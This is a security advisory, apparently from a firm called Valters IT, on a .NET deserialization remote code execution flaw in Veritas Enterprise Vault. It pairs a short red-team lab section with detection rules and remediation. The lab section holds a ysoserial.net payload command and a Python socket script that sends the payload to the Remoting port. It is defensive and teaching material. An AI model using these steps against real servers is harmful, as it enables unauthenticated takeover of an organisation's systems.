CVE-2024-53911

Executive Summary

CVE-2024-53911 is a critical unauthenticated remote code execution (RCE) vulnerability in Veritas Enterprise Vault, a widely used enterprise archiving and eDiscovery platform. The flaw resides in the server component's handling of .NET Remoting traffic. By sending specially crafted, untrusted serialized data to the .NET Remoting TCP port, an attacker can achieve arbitrary code execution without authentication. The CVSS score of 9.8 reflects the maximum impact on confidentiality, integrity, and availability, with no user interaction or privileges required. As of this report, no public proof-of-concept (PoC) or exploit code has been released, but the vulnerability is considered weaponizable. The vendor has released a fix in version 15.2.

Supply Chain & Package Security

This vulnerability is not in an open-source package (NPM, PyPI, Go, Ruby) but in a proprietary enterprise software product. The risk is primarily to organizations that deploy Veritas Enterprise Vault on-premises. No supply chain compromise is indicated.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The exploit cannot affect resources beyond the vulnerable component.
• Confidentiality (C): High – Full system compromise, including data access.
• Integrity (I): High – Full system compromise, including data modification.
• Availability (A): High – Full system compromise, including denial of service.

Threat Level: Critical. The combination of network accessibility, no authentication, and full system compromise makes this a top-priority vulnerability for any organization using Veritas Enterprise Vault.

Deep Dive & Mechanics

The vulnerability is a classic .NET deserialization attack (CWE-502). Veritas Enterprise Vault uses .NET Remoting for internal communication between its components. The server listens on a TCP port (typically 8400 or a configurable port) for .NET Remoting requests. The flaw is that the server deserializes incoming data without proper validation or type checking.

Attack Flow:

1. An attacker scans for open .NET Remoting ports on the target network.
2. The attacker crafts a malicious serialized .NET object (e.g., using BinaryFormatter or SoapFormatter) that, when deserialized, executes arbitrary code (e.g., via Process.Start or System.Diagnostics.Process).
3. The attacker sends this payload to the .NET Remoting endpoint.
4. The server deserializes the payload, triggering the attacker's code in the context of the Enterprise Vault service account (typically SYSTEM or a high-privilege service account).
5. The attacker gains full control over the server.

Why it works: .NET Remoting, especially when using BinaryFormatter, is inherently dangerous because it allows deserialization of arbitrary types. The server does not restrict which types can be deserialized, enabling the attacker to instantiate any class that implements ISerializable or has a Serializable attribute.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-15.2): The server likely uses a .NET Remoting channel (e.g., TcpServerChannel) with default settings. The channel accepts any serialized object and passes it to the deserialization routine without type filtering.

// Vulnerable: No type filtering
TcpServerChannel channel = new TcpServerChannel("EnterpriseVault", 8400);
ChannelServices.RegisterChannel(channel, false);
RemotingConfiguration.RegisterWellKnownServiceType(typeof(MyService), "MyService", WellKnownObjectMode.Singleton);

Patched Code (15.2+): The fix likely involves implementing a custom ISerializationSurrogate or using a SerializationBinder to restrict allowed types. Alternatively, the vendor may have switched to a safer communication protocol (e.g., WCF with HTTPS) or added input validation.

// Patched: Type filtering via SerializationBinder
public class SafeBinder : SerializationBinder
{
    public override Type BindToType(string assemblyName, string typeName)
    {
        // Only allow specific types
        if (typeName.StartsWith("Veritas.EnterpriseVault."))
            return Type.GetType($"{typeName}, {assemblyName}");
        else
            throw new SerializationException("Type not allowed");
    }
}

// Usage
BinaryFormatter formatter = new BinaryFormatter();
formatter.Binder = new SafeBinder();

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Veritas Enterprise Vault 15.1 (or earlier) on Windows Server 2019/2022.
• Attacker: Kali Linux or Windows with .NET Framework installed.
• Network: Both machines on the same subnet, firewall allowing TCP port 8400.

Exploitation Steps:

1. Identify the .NET Remoting port: Use Nmap to scan for open ports (default 8400).

   nmap -p 8400 --script=msrpc-enum <target_ip>
   

2. Craft a malicious payload: Use ysoserial.net to generate a .NET deserialization payload.

   # Generate a payload that executes calc.exe (test)
   ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -c "calc.exe" -o raw > payload.bin
   

3. Send the payload: Use a raw TCP client to send the payload to the .NET Remoting endpoint.

   import socket
   with open('payload.bin', 'rb') as f:
       payload = f.read()
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect(('target_ip', 8400))
   s.send(payload)
   s.close()
   

4. Verify execution: On the target, calc.exe should appear (or a reverse shell if using a more advanced payload).

Note: This is a simplified example. Real-world exploitation may require understanding the specific .NET Remoting object URI and message format.

Blue Team (Defensive)

Detection:

• Monitor for unusual network connections to port 8400 (or the configured .NET Remoting port).
• Look for anomalous child processes spawned by the Enterprise Vault service (e.g., cmd.exe, powershell.exe, calc.exe).
• Enable .NET deserialization logging (if available) or use ETW (Event Tracing for Windows) to detect BinaryFormatter deserialization events.

Hunting:

• Search for BinaryFormatter usage in process memory (e.g., using Process Monitor or Volatility).
• Analyze network traffic for large, binary blobs sent to the .NET Remoting port.

Indicators of Compromise (IOCs)

• Network: TCP connections to port 8400 (or custom port) from unexpected sources.
• Process: Spawning of cmd.exe, powershell.exe, wscript.exe, or other shells by the EnterpriseVault.exe process.
• File: Presence of ysoserial payloads or suspicious .bin files in temporary directories.
• Registry: Changes to HKLM\SYSTEM\CurrentControlSet\Services\EnterpriseVault (unlikely but possible).
• Logs: Windows Event ID 7036 (Service status change) or 4625 (failed logon) may indicate lateral movement.

Detection Engineering

YARA Rule

rule CVE_2024_53911_Deserialization_Payload {
    meta:
        description = "Detects .NET BinaryFormatter deserialization payloads targeting Veritas Enterprise Vault"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53911"
    strings:
        $binary_formatter = { 00 01 00 00 00 FF FF FF FF 01 00 00 00 00 00 00 00 }
        $text_formatting = "TextFormattingRunProperties" nocase
        $process_start = "System.Diagnostics.Process" nocase
    condition:
        $binary_formatter and ($text_formatting or $process_start)
}

Sigma Rule

title: CVE-2024-53911 - Veritas Enterprise Vault .NET Remoting RCE
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects exploitation attempts of CVE-2024-53911 via network or process anomalies
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\EnterpriseVault.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\wscript.exe'
            - '\cscript.exe'
    condition: selection
falsepositives:
    - Legitimate administrative scripts
level: high

Suricata Rule

alert tcp any any -> any 8400 (msg:"CVE-2024-53911 - Veritas Enterprise Vault .NET Remoting RCE Attempt"; flow:to_server,established; content:"|00 01 00 00 00 FF FF FF FF 01 00 00 00 00 00 00 00|"; depth:16; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Veritas Enterprise Vault 15.2 or later. Contact Veritas support for patch details.
2. Network Segmentation: Restrict access to the .NET Remoting port (default 8400) to only trusted IP addresses using firewall rules.
3. Disable .NET Remoting (if possible): If the feature is not required, disable the .NET Remoting service or block the port entirely.

Long-Term Mitigations:

• Implement network-level intrusion detection (e.g., Suricata rules above).
• Enable Windows Defender Application Control (WDAC) to block unauthorized executables.
• Monitor for deserialization attacks using ETW or third-party tools.
• Conduct regular vulnerability scans for Veritas Enterprise Vault.

Workaround (if patching is delayed):

• Use a reverse proxy or VPN to limit exposure of the .NET Remoting port.
• Apply a custom SerializationBinder via configuration (if supported by the vendor).

Valters IT
Securing Digital Frontiers